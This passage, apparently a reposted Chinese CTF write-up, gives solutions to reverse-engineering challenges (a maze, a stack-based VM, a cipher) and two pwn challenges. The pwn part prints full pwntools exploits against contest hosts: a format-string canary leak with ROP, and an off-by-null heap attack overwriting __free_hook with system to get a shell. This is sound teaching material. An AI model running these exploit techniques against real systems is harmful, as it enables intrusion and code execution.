    {   unsigned v1 = pack((const char*)Enc + 12 + 16 *x);
    unsigned v2 = pack((const char*)Enc + 8 + 16*x);
    unsigned v3 = pack((const char*)Enc + 4 + 16 *x);
    unsigned v4 = pack((const char*)Enc + 16 *x);
    unsigned Temp[36] = { 0 };
    Temp[32] = v1;
    Temp[33] = v2;
    Temp[34] = v3;
    Temp[35] = v4;
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 5052); 
    for (int i = 31; i >= 0; i--) {
        Temp[i] = GetRemoteCallValue(hProcess, Temp[i + 1] ^ Temp[i + 2] ^ Temp[i + 3] ^ key[i + 4]) ^ Temp[i + 4];
    }
    for (int i = 0; i < 4; i++) {
        Temp[i] ^= 0x06070607;
    }



    char* sb1 = (char*)Temp;
    for(int i = 0;i<4;i++){
        for(int j = 0 ; j< 4;j++){
            printf("%c", sb1[i * 4 + (3 - j)]);
        }
    }
}
    system("pause");
}

三、maze

迷宫题型,先算出dWWwwdddWWaawwddsssSaw的解法

import base64
import string

str1 = "QCAmN2sYNGUfR3EvOUMuNWYkW3k1JR=="

string1 = "BADCFEHGJILKNMPORQTSVUXWZYbadcfehgjilknmporqtsvuxwzy1032547698+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

接着根据调试解出交叉引用的byte_42024C

from z3 import *
enc = [0x0e,0x5D, 0x7D, 0x7D, 0x5D, 0x4E, 0x4E, 0x4E, 0x5D, 0x7D, 0x6B, 0x4B, 0x5D, 0x5D, 0x4E, 0x4E, 0x59,
0x59, 0x59, 0x59, 0x6B, 0x5D, 0x53, 0x24, 0x7B, 0x34, 0x07, 0x49, 0x01, 0x1B, 0x23, 0x27, 0x7E,
0x35, 0x3F, 0x12, 0x1B, 0x29, 0x32, 0x09, 0x16, 0x12, 0x60, 0x4A]
sb = [BitVec(f"sb[{i}]",8) for i in range(45)]
s = Solver()
for i in range(1,44):
    s.add(sb[i-1] & 0xe0 | sb[i] & 0x1f == enc[i]
print(s.check())
print(s.model())

接着把解出来的数据和那个地图迷宫路径异或

0] *44
path[43] = 10
path[0] = 64
path[22] = 51
path[13] = 93
path[20] = 75
path[33] = 53
path[42] = 64
path[14] = 78
path[5] = 78
path[3] = 93
path[32] = 62
path[34] = 31
path[29] = 59
path[17] = 89
path[38] = 18
path[16] = 89
path[37] = 41
path[26] = 71
path[39] = 9
path[2] = 125
path[9] = 125
path[11] = 75
path[30] = 35
path[31] = 103
path[27] = 9
path[21] = 93
path[8] = 125
path[19] = 121
path[35] = 18
path[12] = 93
path[4] = 93
path[28] = 1
path[40] = 22
path[23] = 100
path[24] = 59
path[10] = 75
path[1] = 125
path[25] = 20
path[36] = 59
path[41] = 114
path[15] = 78
path[7] = 78
path[6] = 78
path[18] = 89
flag = ""
maze = "dWWwwdddWWaawwddsssSaw"
for i in range(44):
    flag += chr(path[i] ^ ord(maze[i % len(maze)]))
print(flag)

四、localhost:2333

解开UPX壳后,进入MainVM 观察虚拟机结构,发现这是一个基于栈的虚拟机

解题exp如下

0x9b, 0xaa, 0xcb, 0xf5, 0x8a, 0xc8, 0xa1, 0x89, 0xe0, 0xa5,
       0x7e, 0x10, 0x3a, 0x0d, 0x31, 0x75, 0x2d, 0x7e, 0x77, 0x64,
       0x4a, 0x2b, 0xeb, 0xac, 0x08, 0x84, 0x2b, 0x24, 0x24, 0xaf]
xor_key = [0x47, 0x4f, 0x4c, 0x40, 0x6e, 0x44, 0x7e, 0x21, 0x21, 0x21]
magic_key = 0xff
flag = ""
for i in range(0, 10):
    if i == 0:
        magic_key = 0xff
    else:
        magic_key = enc[i - 1]
    raw = (enc[i] + i ^ magic_key)
    flag += chr(raw)
for i in range(10, 20):
    flag += chr(enc[i] ^ xor_key[i - 10])
# >> 3 << 5
for i in range(20, 30):
    flag += chr(enc[i] << 3 & 0xf8 | (enc[i] >> 5) & 0xff)
print(flag)

 

0x05 Pwn

一、ezstack

from pwn import *
context.log_level = "debug"
i = 0
canary = 11
p = remote("47.108.195.119", 20113)
p.sendline("Gerontic_D1no")
p.sendline("68")
p.recv()
p.sendline("%11$p,%17$p")
p.recvuntil("0x")
canary = u64(p.recv(16).decode("hex")[::-1])
p.recvuntil("0x")
prog_base = u64(p.recv(12).decode("hex")[::-1].ljust(8,"\x00")) - 0x9dc
success("prog => " + hex(prog_base))
p.sendline(cyclic(0x18) + p64(canary) + cyclic(8) + p64(prog_base + 0xb03) + p64(prog_base + 0xb24)+ p64(prog_base + 0x810) )
p.sendline("echo hello && cat sky_token")
p.recvuntil("hello\n")
token = p.recv()
p.sendline("exit")
success("token => " + token)
p.send(token)
p.interactive()

二、off-by-null

from pwn import *

context.log_level = "debug"
p = remote("47.108.195.119", 20182)
# p = process(['../pwn'], env={'LD_PRELOAD': '/home/cshi/pwn/libc.so.6'})
so = ELF('../libc.so.6')
p.sendline("Gerontic_D1no")
p.sendline("68")
p.recvuntil("please input a str:")
p.sendline('N0_py_1n_tHe_ct7')


def choice(c):
    p.recvuntil(">")
    p.sendline(str(c))


def add(index, size):
    choice(1)
    p.recvuntil('?')
    p.sendline(str(index))
    p.recvuntil("?")
    p.sendline(str(size))


def show(index):
    choice(2)
    p.recvuntil("?")
    p.sendline(str(index))


def edit(index, content):
    choice(3)
    p.recvuntil("?")
    p.sendline(str(index))
    p.recvuntil(":")
    p.send(content)


def free(index):
    choice(4)
    p.recvuntil("?")
    p.sendline(str(index))


add(0, 0x4f0)
add(1, 0x18)
add(2, 0x4f0)
add(3, 0x10)

free(0)
add(0, 0x4f0)
show(0)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = leak - 96 - 0x10 - so.sym['__malloc_hook']
success("libc_base => " + hex(libc_base))
free(0)
edit(1, b'a' * 0x10 + p64(0x500 + 0x20))
free(2)
add(0, 0x4f0)
add(4, 0x10)
free(4)
edit(1, p64(libc_base + so.sym['__free_hook']))
add(5, 0x10)
edit(5, '/bin/sh\x00')
add(6, 0x10)
edit(6, p64(libc_base + so.sym['system']))
free(5)
sleep(0.1)
p.sendline("echo hello && cat sky_token")
p.recvuntil("hello\n")
token = p.recv()
p.sendline("exit")
success("token => " + token)
p.sendline("5")
sleep(1)
p.send(token)
p.interactive()
p.interactive()


其他参考文献:https://mp.weixin.qq.com/s/vC2bgJlYfA8wzXcmQFynlAhttps://blog.csdn.net/weixin_52091458/article/details/121591421from: https://www.anquanke.com/post/id/260900  

  • 查看数 714
  • 已创建
  • 最后回复

参与讨论

你可立刻发布并稍后注册。 如果你有帐户,立刻登录发布帖子。

游客
回帖…